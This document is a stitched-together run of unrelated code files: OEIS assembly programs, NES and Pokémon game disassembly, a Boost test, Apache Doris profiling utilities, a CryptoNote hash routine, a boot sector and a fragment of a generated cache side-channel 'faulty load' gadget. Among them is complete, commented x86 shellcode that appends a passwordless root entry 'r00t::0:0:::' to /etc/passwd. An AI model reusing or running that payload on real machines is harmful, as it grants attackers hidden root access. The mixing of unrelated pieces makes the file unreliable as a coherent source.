sub $50572, %r10
movb $0x51, (%r11)
nop
nop
nop
xor %r10, %r10
// Faulty Load
lea addresses_US+0x1becc, %rbx
nop
nop
nop
nop
dec %rbp
movb (%rbx), %r11b
lea oracles, %rbp
and $0xff, %r11
shlq $12, %r11
mov (%rbp,%r11,1), %r11
pop %rdx
pop %rbx
pop %rbp
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 2, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 10, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': True, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A111775: Number of ways n can be written as a sum of at least three consecutive integers.
; 0,0,0,0,0,1,0,0,1,1,0,1,0,1,2,0,0,2,0,1,2,1,0,1,1,1,2,1,0,3,0,0,2,1,2,2,0,1,2,1,0,3,0,1,4,1,0,1,1,2,2,1,0,3,2,1,2,1,0,3,0,1,4,0,2,3,0,1,2,3,0,2,0,1,4,1,2,3,0,1,3,1,0,3,2,1,2,1,0,5,2,1,2,1,2,1,0,2,4,2,0,3,0,1,6,1,0,3,0,3,2,1,0,3,2,1,4,1,2,3,1,1,2,1,2,5,0,0,2,3,0,3,2,1,6,1,0,3,0,3,2,1,2,2,2,1,4,1,0,5,0,1,4,3,2,3,0,1,2,1,2,4,0,1,6,1,0,3,1,3,4,1,0,3,4,1,2,1,0,5,0,3,2,1,2,3,2,1,6,3,0,1,0,1,6,2,0,5,0,2,2,1,2,3,2,1,4,1,2,7,0,1,2,1,2,3,2,1,2,3,2,3,0,1,7,1,0,3,0,3,6,1,0,5,2,1,2,3,0,3,0,2,4,1,4,3,2,1,2,3
cal $0,91954 ; Number of odd proper divisors of n. That is, the number of odd divisors of n that are less than n.
trn $0,1
mov $1,$0
|
interrupt.irq intIrq()
{
}
interrupt.nmi intNmi() // Non maskable interrupts
{
}
inline sysInit()
{
disable_decimal_mode()
disable_interrupts()
reset_stack()
// clear the registers
lda #0
sta PPU.CNT0
sta PPU.CNT1
sta PPU.BG_SCROLL
sta PPU.BG_SCROLL
sta PCM_CNT
sta PCM_VOLUMECNT
sta SND_CNT
lda #0xC0
sta joystick.cnt1
}
function videoOn()
{
assign(PPU.CNT1, #CR_BACKVISIBLE | CR_BACKNOCLIP)
}
function videoOff()
{
assign(PPU.CNT1, #0)
}
// Main
interrupt.start main()
{
// Initlialize memory
sysInit()
videoOff()
videoOn()
forever {
// Latch controller buttons
lda #$01
sta $4016
lda #$00
sta $4016
// Continually load $4016 into accumulator to get button results.
_ReadA:
lda $4016
and #%00000001
beq _ReadADone
_ReadADone:
_ReadB:
lda $4016
and #%00000001
beq _ReadBDone
_ReadBDone:
}
}
function jsr_ind()
{
jmp [paddr]
} |
;--------------------------------------------------------
; Category 7 Function 5B Set DOS mode pointer draw address
;--------------------------------------------------------
;
;
;
IOMSETREALDRAWADDRESS PROC NEAR
RET
IOMSETREALDRAWADDRESS ENDP
|
; A062783: a(n) = 3*n*(4*n-1).
; 0,9,42,99,180,285,414,567,744,945,1170,1419,1692,1989,2310,2655,3024,3417,3834,4275,4740,5229,5742,6279,6840,7425,8034,8667,9324,10005,10710,11439,12192,12969,13770,14595,15444,16317,17214,18135,19080
mov $1,$0
mul $0,12
sub $0,3
mul $1,$0
|
; Sprinter fcntl library
;
; $Id: rename.asm,v 1.3 2015/01/19 01:32:43 pauloscustodio Exp $
;
PUBLIC rename
;int rename(char *s1,char *s2)
;on stack:
;return address,s2,s1
;s1=orig filename, s2=dest filename
.rename
pop bc
pop de ;dest filename
pop hl ;orig filename
push hl
push de
push bc
ld c,$10 ;REANAME
rst $10
ld hl,0
ret nc
dec hl
ret
|
Route18GateScript:
ld hl, wd732
res 5, [hl]
call EnableAutoTextBoxDrawing
ld a, [wRoute18GateCurScript]
ld hl, Route18GateScriptPointers
jp JumpTable
Route18GateScriptPointers:
dw Route18GateScript0
dw Route18GateScript1
dw Route18GateScript2
dw Route18GateScript3
Route18GateScript0:
call Route16GateScript_49755
ret nz
ld hl, CoordsData_498cc
call ArePlayerCoordsInArray
ret nc
ld a, $2
ld [hSpriteIndexOrTextID], a
call DisplayTextID
xor a
ld [hJoyHeld], a
ld a, [wCoordIndex]
cp $1
jr z, .asm_498c6
ld a, [wCoordIndex]
dec a
ld [wSimulatedJoypadStatesIndex], a
ld b, 0
ld c, a
ld a, D_UP
ld hl, wSimulatedJoypadStatesEnd
call FillMemory
call StartSimulatingJoypadStates
ld a, $1
ld [wRoute18GateCurScript], a
ret
.asm_498c6
ld a, $2
ld [wRoute18GateCurScript], a
ret
CoordsData_498cc:
db $03,$04
db $04,$04
db $05,$04
db $06,$04
db $FF
Route18GateScript1:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
ld a, $f0
ld [wJoyIgnore], a
Route18GateScript2:
ld a, $1
ld [hSpriteIndexOrTextID], a
call DisplayTextID
ld a, $1
ld [wSimulatedJoypadStatesIndex], a
ld a, D_RIGHT
ld [wSimulatedJoypadStatesEnd], a
call StartSimulatingJoypadStates
ld a, $3
ld [wRoute18GateCurScript], a
ret
Route18GateScript3:
ld a, [wSimulatedJoypadStatesIndex]
and a
ret nz
xor a
ld [wJoyIgnore], a
ld hl, wd730
res 7, [hl]
ld a, $0
ld [wRoute18GateCurScript], a
ret
Route18GateTextPointers:
dw Route18GateText1
dw Route18GateText2
Route18GateText1:
TX_ASM
call Route16GateScript_49755
jr z, .asm_3c84d
ld hl, Route18GateText_4992d
call PrintText
jr .asm_a8410
.asm_3c84d
ld hl, Route18GateText_49928
call PrintText
.asm_a8410
jp TextScriptEnd
Route18GateText_49928:
TX_FAR _Route18GateText_49928
db "@"
Route18GateText_4992d:
TX_FAR _Route18GateText_4992d
db "@"
Route18GateText2:
TX_FAR _Route18GateText_49932
db "@"
|
/*=============================================================================
Copyright (c) 2001-2006 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#include <boost/detail/lightweight_test.hpp>
#include <boost/fusion/container/vector/vector.hpp>
#include <boost/fusion/sequence/io/out.hpp>
#include <boost/fusion/sequence/comparison/equal_to.hpp>
#include <boost/fusion/container/generation/make_vector.hpp>
#include <boost/fusion/algorithm/transformation/clear.hpp>
#include <boost/mpl/vector_c.hpp>
int
main()
{
using namespace boost::fusion;
std::cout << tuple_open('[');
std::cout << tuple_close(']');
std::cout << tuple_delimiter(", ");
/// Testing pop_back
{
char const* s = "Ruby";
typedef vector<int, char, double, char const*> vector_type;
vector_type t1(1, 'x', 3.3, s);
{
std::cout << clear(t1) << std::endl;
BOOST_TEST((clear(t1) == make_vector()));
}
}
{
typedef boost::mpl::vector_c<int, 1, 2, 3, 4, 5> mpl_vec;
std::cout << boost::fusion::clear(mpl_vec()) << std::endl;
BOOST_TEST((boost::fusion::clear(mpl_vec()) == make_vector()));
}
return boost::report_errors();
}
|
; A047327: Numbers that are congruent to {3, 5, 6} mod 7.
; 3,5,6,10,12,13,17,19,20,24,26,27,31,33,34,38,40,41,45,47,48,52,54,55,59,61,62,66,68,69,73,75,76,80,82,83,87,89,90,94,96,97,101,103,104,108,110,111,115,117,118,122,124,125,129,131,132,136,138,139,143
mov $2,$0
add $0,1
mov $1,$2
lpb $0
add $0,2
add $1,$0
trn $0,4
sub $1,$0
trn $0,1
lpe
|
global _start
section .text
_start:
; int open(const char *pathname, int flags): syscall 0x5
; fd = open("/etc//passwd", O_WRONLY | O_APPEND)
xor ecx, ecx ; ecx = 0
push ecx ; string null-termintator
mov eax, 0x64777373
push eax ; "sswd" reversed
xor eax, 0x5075C5C
push eax ; "//pa" reversed
xor eax, 0x2044A01
inc eax
push eax ; "/etc" reversed
mov ebx, esp ; ebx = "/etc/passwd"
mul ecx ; eax = 0, edx = 0
mov al, 0x5 ; eax = 5
mov cx, 0x401 ; ecx = O_WRONLY | O_APPEND
int 0x80 ; perform syscall
; ssize_t write(int fd, const void *buf, size_t count): syscall 0x4
; write(fd, "r00t::0:0:::", 12)
xchg eax, ebx ; ebx = fd
mov eax, 0x3a3a3a30
push eax ; "0:::" reversed
ror eax, 16
push eax ; "::0:" reversed
add eax, 0x39FFF638
push eax ; "r00t" reversed
mov ecx, esp ; ecx = "r00t::0:0:::"
push byte 0x4
pop eax ; eax = 4
mov dl, 0xc ; edx = 12
int 0x80 ; perform syscall
; int close(int fd): syscall 0x6
; close(fd)
shr al, 1 ; eax = 6 (eax = 12 from write return)
int 0x80 ; perform syscall (ebx is already set)
; void _exit(int status): syscall 0x1
; _exit(whatever)
inc eax ; eax = 1 (eax = 0 from close return)
int 0x80 ; perform syscall
|
// Licensed to the Apache Software Foundation (ASF) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The ASF licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
#include "util/pprof_utils.h"
#include <fstream>
#include "agent/utils.h"
#include "util/file_utils.h"
#include "gutil/strings/substitute.h"
namespace doris {
Status PprofUtils::get_pprof_cmd(std::string* cmd) {
AgentUtils util;
// check if pprof cmd exist
const static std::string tools_path = std::string(std::getenv("DORIS_HOME")) + "/tools/bin/";
std::string pprof_cmd = tools_path + "pprof";
std::string msg;
bool rc = util.exec_cmd(pprof_cmd + " --version", &msg);
if (!rc) {
// not found in BE tools dir, found in system
pprof_cmd = "pprof";
rc = util.exec_cmd(pprof_cmd + " --version", &msg);
if (!rc) {
return Status::NotSupported("pprof: command not found in systemp PATH or be/tools/bin/. Install gperftools first.");
}
}
*cmd = pprof_cmd;
return Status::OK();
}
Status PprofUtils::get_perf_cmd(std::string* cmd) {
AgentUtils util;
// check if perf cmd exist
std::string perf_cmd = "perf";
std::string msg;
bool rc = util.exec_cmd(perf_cmd + " --version", &msg);
if (!rc) {
return Status::NotSupported("perf: command not found in systemp PATH");
}
*cmd = perf_cmd;
return Status::OK();
}
Status PprofUtils::get_self_cmdline(std::string* cmd) {
// get cmdline
FILE* fp = fopen("/proc/self/cmdline", "r");
if (fp == nullptr) {
return Status::InternalError("Unable to open file: /proc/self/cmdline");
}
char buf[1024];
fscanf(fp, "%s ", buf);
fclose(fp);
*cmd = buf;
return Status::OK();
}
Status PprofUtils::get_readable_profile(const std::string& file_or_content, bool is_file, std::stringstream* output) {
// get pprof cmd
std::string pprof_cmd;
RETURN_IF_ERROR(PprofUtils::get_pprof_cmd(&pprof_cmd));
// get self cmdline
std::string self_cmdline;
RETURN_IF_ERROR(PprofUtils::get_self_cmdline(&self_cmdline));
// save file if necessary
std::string final_file;
if (!is_file) {
std::stringstream tmp_file;
tmp_file << config::pprof_profile_dir << "/pprof_profile." << getpid() << "." << rand();
std::ofstream outfile;
outfile.open(tmp_file.str().c_str());
outfile << file_or_content;
outfile.close();
final_file = tmp_file.str();
} else {
final_file = file_or_content;
}
// parse raw with "pprof --text cmdline raw_file"
std::string cmd_output;
std::string final_cmd = pprof_cmd + strings::Substitute(" --text $0 $1", self_cmdline, final_file);
AgentUtils util;
bool rc = util.exec_cmd(final_cmd, &cmd_output, false);
// delete raw file
FileUtils::remove(file_or_content);
if (!rc) {
return Status::InternalError("Failed to execute command: " + cmd_output);
}
(*output) << "Profile(Sample 30 seconds)" << std::endl;
(*output) << cmd_output << std::endl;
return Status::OK();
}
Status PprofUtils::generate_flamegraph(int32_t sample_seconds, const std::string& flame_graph_tool_dir, bool return_file, std::string* svg_file_or_content) {
// get perf cmd
std::string perf_cmd;
RETURN_IF_ERROR(PprofUtils::get_perf_cmd(&perf_cmd));
// check if FlameGraph has been installed
// check stackcollapse-perf.pl and flamegraph.pl exist
std::string stackcollapse_perf_pl = flame_graph_tool_dir + "/stackcollapse-perf.pl";
std::string flamegraph_pl = flame_graph_tool_dir + "/flamegraph.pl";
if (!FileUtils::check_exist(stackcollapse_perf_pl) || !FileUtils::check_exist(flamegraph_pl)) {
return Status::InternalError("Missing stackcollapse-perf.pl or flamegraph.pl in FlameGraph");
}
// tmp output profile file
std::stringstream tmp_file;
tmp_file << config::pprof_profile_dir << "/cpu_perf." << getpid() << "." << rand();
// sample
std::stringstream cmd;
cmd << perf_cmd << " record -m 2 -g -p " << getpid() << " -o " << tmp_file.str() << " -- sleep " << sample_seconds;
AgentUtils util;
std::string cmd_output;
bool rc = util.exec_cmd(cmd.str(), &cmd_output);
if (!rc) {
FileUtils::remove(tmp_file.str());
return Status::InternalError("Failed to execute perf command: " + cmd_output);
}
// generate flamegraph
std::string res_content;
if (return_file) {
std::stringstream graph_file;
graph_file << config::pprof_profile_dir << "/flamegraph." << getpid() << "." << rand() << ".svg";
std::stringstream gen_cmd;
gen_cmd << perf_cmd << " script -i " << tmp_file.str() << " | " << stackcollapse_perf_pl << " | " << flamegraph_pl << " > " << graph_file.str();
rc = util.exec_cmd(gen_cmd.str(), &res_content);
if (!rc) {
FileUtils::remove(tmp_file.str());
FileUtils::remove(graph_file.str());
return Status::InternalError("Failed to execute perf script command: " + res_content);
}
*svg_file_or_content = graph_file.str();
} else {
std::stringstream gen_cmd;
gen_cmd << perf_cmd << " script -i " << tmp_file.str() << " | " << stackcollapse_perf_pl << " | " << flamegraph_pl;
rc = util.exec_cmd(gen_cmd.str(), &res_content, false);
if (!rc) {
FileUtils::remove(tmp_file.str());
return Status::InternalError("Failed to execute perf script command: " + res_content);
}
*svg_file_or_content = res_content;
}
return Status::OK();
}
} // end namespace
|
// Copyright (c) 2012-2016, The CryptoNote developers, The Bytecoin developers
//
// This file is part of DCRS.
//
// DCRS is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// DCRS is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with DCRS. If not, see <http://www.gnu.org/licenses/>.
static void
#if defined(AESNI)
cn_slow_hash_aesni
#else
cn_slow_hash_noaesni
#endif
(void *restrict context, const void *restrict data, size_t length, void *restrict hash)
{
#define ctx ((struct cn_ctx *) context)
ALIGNED_DECL(uint8_t ExpandedKey[256], 16);
size_t i;
__m128i *longoutput, *expkey, *xmminput, b_x;
ALIGNED_DECL(uint64_t a[2], 16);
hash_process(&ctx->state.hs, (const uint8_t*) data, length);
memcpy(ctx->text, ctx->state.init, INIT_SIZE_BYTE);
#if defined(AESNI)
memcpy(ExpandedKey, ctx->state.hs.b, AES_KEY_SIZE);
ExpandAESKey256(ExpandedKey);
#else
ctx->aes_ctx = oaes_alloc();
oaes_key_import_data(ctx->aes_ctx, ctx->state.hs.b, AES_KEY_SIZE);
memcpy(ExpandedKey, ctx->aes_ctx->key->exp_data, ctx->aes_ctx->key->exp_data_len);
#endif
longoutput = (__m128i *) ctx->long_state;
expkey = (__m128i *) ExpandedKey;
xmminput = (__m128i *) ctx->text;
//for (i = 0; likely(i < MEMORY); i += INIT_SIZE_BYTE)
// aesni_parallel_noxor(&ctx->long_state[i], ctx->text, ExpandedKey);
for (i = 0; likely(i < MEMORY); i += INIT_SIZE_BYTE)
{
#if defined(AESNI)
for(size_t j = 0; j < 10; j++)
{
xmminput[0] = _mm_aesenc_si128(xmminput[0], expkey[j]);
xmminput[1] = _mm_aesenc_si128(xmminput[1], expkey[j]);
xmminput[2] = _mm_aesenc_si128(xmminput[2], expkey[j]);
xmminput[3] = _mm_aesenc_si128(xmminput[3], expkey[j]);
xmminput[4] = _mm_aesenc_si128(xmminput[4], expkey[j]);
xmminput[5] = _mm_aesenc_si128(xmminput[5], expkey[j]);
xmminput[6] = _mm_aesenc_si128(xmminput[6], expkey[j]);
xmminput[7] = _mm_aesenc_si128(xmminput[7], expkey[j]);
}
#else
aesb_pseudo_round((uint8_t *) &xmminput[0], (uint8_t *) &xmminput[0], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[1], (uint8_t *) &xmminput[1], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[2], (uint8_t *) &xmminput[2], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[3], (uint8_t *) &xmminput[3], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[4], (uint8_t *) &xmminput[4], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[5], (uint8_t *) &xmminput[5], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[6], (uint8_t *) &xmminput[6], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[7], (uint8_t *) &xmminput[7], (uint8_t *) expkey);
#endif
_mm_store_si128(&(longoutput[(i >> 4)]), xmminput[0]);
_mm_store_si128(&(longoutput[(i >> 4) + 1]), xmminput[1]);
_mm_store_si128(&(longoutput[(i >> 4) + 2]), xmminput[2]);
_mm_store_si128(&(longoutput[(i >> 4) + 3]), xmminput[3]);
_mm_store_si128(&(longoutput[(i >> 4) + 4]), xmminput[4]);
_mm_store_si128(&(longoutput[(i >> 4) + 5]), xmminput[5]);
_mm_store_si128(&(longoutput[(i >> 4) + 6]), xmminput[6]);
_mm_store_si128(&(longoutput[(i >> 4) + 7]), xmminput[7]);
}
for (i = 0; i < 2; i++)
{
ctx->a[i] = ((uint64_t *)ctx->state.k)[i] ^ ((uint64_t *)ctx->state.k)[i+4];
ctx->b[i] = ((uint64_t *)ctx->state.k)[i+2] ^ ((uint64_t *)ctx->state.k)[i+6];
}
b_x = _mm_load_si128((__m128i *)ctx->b);
a[0] = ctx->a[0];
a[1] = ctx->a[1];
for(i = 0; likely(i < 0x80000); i++)
{
__m128i c_x = _mm_load_si128((__m128i *)&ctx->long_state[a[0] & 0x1FFFF0]);
__m128i a_x = _mm_load_si128((__m128i *)a);
ALIGNED_DECL(uint64_t c[2], 16);
ALIGNED_DECL(uint64_t b[2], 16);
uint64_t *nextblock, *dst;
#if defined(AESNI)
c_x = _mm_aesenc_si128(c_x, a_x);
#else
aesb_single_round((uint8_t *) &c_x, (uint8_t *) &c_x, (uint8_t *) &a_x);
#endif
_mm_store_si128((__m128i *)c, c_x);
//__builtin_prefetch(&ctx->long_state[c[0] & 0x1FFFF0], 0, 1);
b_x = _mm_xor_si128(b_x, c_x);
_mm_store_si128((__m128i *)&ctx->long_state[a[0] & 0x1FFFF0], b_x);
nextblock = (uint64_t *)&ctx->long_state[c[0] & 0x1FFFF0];
b[0] = nextblock[0];
b[1] = nextblock[1];
{
uint64_t hi, lo;
// hi,lo = 64bit x 64bit multiply of c[0] and b[0]
#if defined(__GNUC__) && defined(__x86_64__)
__asm__("mulq %3\n\t"
: "=d" (hi),
"=a" (lo)
: "%a" (c[0]),
"rm" (b[0])
: "cc" );
#else
lo = mul128(c[0], b[0], &hi);
#endif
a[0] += hi;
a[1] += lo;
}
dst = (uint64_t *) &ctx->long_state[c[0] & 0x1FFFF0];
dst[0] = a[0];
dst[1] = a[1];
a[0] ^= b[0];
a[1] ^= b[1];
b_x = c_x;
//__builtin_prefetch(&ctx->long_state[a[0] & 0x1FFFF0], 0, 3);
}
memcpy(ctx->text, ctx->state.init, INIT_SIZE_BYTE);
#if defined(AESNI)
memcpy(ExpandedKey, &ctx->state.hs.b[32], AES_KEY_SIZE);
ExpandAESKey256(ExpandedKey);
#else
oaes_key_import_data(ctx->aes_ctx, &ctx->state.hs.b[32], AES_KEY_SIZE);
memcpy(ExpandedKey, ctx->aes_ctx->key->exp_data, ctx->aes_ctx->key->exp_data_len);
#endif
//for (i = 0; likely(i < MEMORY); i += INIT_SIZE_BYTE)
// aesni_parallel_xor(&ctx->text, ExpandedKey, &ctx->long_state[i]);
for (i = 0; likely(i < MEMORY); i += INIT_SIZE_BYTE)
{
xmminput[0] = _mm_xor_si128(longoutput[(i >> 4)], xmminput[0]);
xmminput[1] = _mm_xor_si128(longoutput[(i >> 4) + 1], xmminput[1]);
xmminput[2] = _mm_xor_si128(longoutput[(i >> 4) + 2], xmminput[2]);
xmminput[3] = _mm_xor_si128(longoutput[(i >> 4) + 3], xmminput[3]);
xmminput[4] = _mm_xor_si128(longoutput[(i >> 4) + 4], xmminput[4]);
xmminput[5] = _mm_xor_si128(longoutput[(i >> 4) + 5], xmminput[5]);
xmminput[6] = _mm_xor_si128(longoutput[(i >> 4) + 6], xmminput[6]);
xmminput[7] = _mm_xor_si128(longoutput[(i >> 4) + 7], xmminput[7]);
#if defined(AESNI)
for(size_t j = 0; j < 10; j++)
{
xmminput[0] = _mm_aesenc_si128(xmminput[0], expkey[j]);
xmminput[1] = _mm_aesenc_si128(xmminput[1], expkey[j]);
xmminput[2] = _mm_aesenc_si128(xmminput[2], expkey[j]);
xmminput[3] = _mm_aesenc_si128(xmminput[3], expkey[j]);
xmminput[4] = _mm_aesenc_si128(xmminput[4], expkey[j]);
xmminput[5] = _mm_aesenc_si128(xmminput[5], expkey[j]);
xmminput[6] = _mm_aesenc_si128(xmminput[6], expkey[j]);
xmminput[7] = _mm_aesenc_si128(xmminput[7], expkey[j]);
}
#else
aesb_pseudo_round((uint8_t *) &xmminput[0], (uint8_t *) &xmminput[0], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[1], (uint8_t *) &xmminput[1], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[2], (uint8_t *) &xmminput[2], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[3], (uint8_t *) &xmminput[3], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[4], (uint8_t *) &xmminput[4], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[5], (uint8_t *) &xmminput[5], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[6], (uint8_t *) &xmminput[6], (uint8_t *) expkey);
aesb_pseudo_round((uint8_t *) &xmminput[7], (uint8_t *) &xmminput[7], (uint8_t *) expkey);
#endif
}
#if !defined(AESNI)
oaes_free((OAES_CTX **) &ctx->aes_ctx);
#endif
memcpy(ctx->state.init, ctx->text, INIT_SIZE_BYTE);
hash_permutation(&ctx->state.hs);
extra_hashes[ctx->state.hs.b[0] & 3](&ctx->state, 200, hash);
#ifdef FORCE_USE_HEAP
free(long_state);
#endif
}
|
; asmsyntax=nasm
bits 16
org 0x7c00
%define STAGE2_ADDR 0x7e00
section .text
jmp 0x0:_start
BIOSParameterBlock:
dw 0x000B ; BytesPerSector
db 0x000D ; SectorsPerCluster
dw 0x000E ; ReservedSectors
db 0x0010 ; FatCopies
dw 0x0011 ; RootDirEntries
dw 0x0013 ; NumSectors
db 0x0015 ; MediaType
dw 0x0016 ; SectorsPerFAT
dw 0x0018 ; SectorsPerTrack
dw 0x001A ; NumberOfHeads
dd 0x001C ; HiddenSectors
dd 0x0020 ; SectorsBig
data_address_packet:
db 16 ; Length in bytes.
db 0 ; Always zero.
dw 16 ; Number of blocks to read. (I think?)
dw STAGE2_ADDR ; Memory buffer destination address.
dw 0 ; Memory page.
dd 1, 0 ; LBA to be read.
_start:
cli
; Attempt to load stage2 from hard drive.
mov si, data_address_packet
mov ah, 0x42 ; Tell it we want to read sectors.
mov dl, 0x80 ; Tell it to read them from the first hard drive.
int 0x13 ; Request hard disk read from BIOS using the above information.
; Jump to stage2 if it's been loaded successfully.
jnc STAGE2_ADDR
halt:
cli
hlt
jmp halt
times 510-($-$$) db 0x0
dw 0xaa55
|
SFX_Cry14_3_Ch1:
dutycycle 240
unknownsfx0x20 8, 228, 144, 7
unknownsfx0x20 15, 245, 192, 7
